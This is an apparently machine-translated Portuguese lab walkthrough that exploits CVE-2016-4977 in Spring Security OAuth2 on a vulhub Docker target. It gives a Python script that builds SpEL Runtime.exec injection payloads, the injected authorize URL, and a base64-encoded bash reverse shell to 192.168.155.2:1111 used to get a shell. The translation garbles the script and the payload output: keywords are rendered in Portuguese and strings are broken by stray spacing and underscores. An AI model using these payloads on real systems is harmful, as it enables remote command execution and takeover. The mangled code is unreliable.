Vulnerabilidade de execução remota de comando Spring Security OAuth2

1. Construir ambiente

cd vulhub/spring/CVE-2016-4977/
docker-compose up -d

Insira a descrição da imagem aquiInsira a descrição da imagem aqui

2. Verificação de vulnerabilidade

Visite
http://192.168.10.171:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test
e faça login com admin:admin
Insira a descrição da imagem aqui

A seguinte mensagem de erro aparece, indicando que a vulnerabilidade existe (o comando em response_type é executado)
Insira a descrição da imagem aqui

3. Prepare a carga útil

poc.py
#!/usr/bin/env python
message = input('Digite a mensagem para codificar:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang. Character).toString(%s)' % ord(message[0])
para ch em mensagem[1:]:
poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)
poc += ')}'
imprimir(poc)

python3 poc.py #Digite o comando a ser executado e o comando processado será retornado. Digite whoami aqui.
Insira a descrição da imagem aqui

Pegue a saída resultante
T (java.lang.R untime). obtenha R untime() . exec(T(java.lang.character).toString(119).concat(T(java.lang.character).toString(104)).concat(T(java.lang.character) .para String ( 111 ) ) .concat ( T ( java . lang . Character ) . para String ( 97 ) ) . concat ( T ( java . lang . Character ) . para String ( 109 ) ) . concat (T(java.lang.character).toString(105))) Carga útil: oauth/authorize? tipo de resposta = {T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(119).concat(T(java.lang.Character).toString(104)).concat (T(java.lang.Character).toString(111)).concat(T(java.lang.T ( jav a.lang.Runttime ) . _ _ _ _ _ _ _ _ _ _ _ _ obtenha tempo de execução ( ) . _ _ _ _ e x ec ( T ( ja v a . l ang . Character ) . to String ( 119 _ _ _ _ _ _ _ _ _ _ _) . con c a t ( T ( ja v a . l a g . C ha r a c t er ) . to String ( 104 ) ) . _ _ _ _ con c a t ( T ( ja v a . l an g . C ha r a c t er _) . para String ( 111 ) ) . _ _ _ con c a t ( T ( ja v a . l a g . C ha r a c t er ) .to String ( 97 ) ) . _ _ _ _ _ co n c a t ( T ( ja v a . lum g . personagem ) . _ _ _ _ _ _ para String ( 109 ) ) . _ _ _ con c a t ( T ( ja v a . l ang . C ha r a c t er ) . to String ( 105 ) ) ) P a y l _ _ _ _oa d _:o au t h / au t h or i ze ? _ _ resposta _ _ _ _ _tsim _ _= {T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(119).concat(T(java.lang.Character).toString(104)).concat( T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(109)).concat (T(java.lang.Character).toString(105)))}&client_id=acme&scope=openid&redirect_uri=http://test

4. Executar carga útil

Insira a descrição da imagem aqui

O processo é retornado, indicando que o código foi executado, mas não há eco, que é RCE sem eco.

5. Carga útil deformada

Prepare o código do shell: bash -i >& /dev/tcp/192.168.155.2/1111 0>&1
convertido para base64: YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1NS4yLzExMTEgMD4mMQ==
shell: bash -c {echo,YmFzaCAtaSA+JiAvZGV 2 L3RjcC8xOTIuMTY4LjE1NS4yLzExMTEgMD4mMQ==}|{base64, - d}|{bash,-i}
Python poc.y obtém saída
Insira a descrição da imagem aqui

Adicione o comando acima à seção do parâmetro response_type para obter a URL transformada
6. Getshell
ativa o monitoramento
Insira a descrição da imagem aqui

Execute a carga transformada para obter o shell
Insira a descrição da imagem aqui

Acho que você gosta

Origin blog.csdn.net/wutiangui/article/details/132777725
Recomendado
Clasificación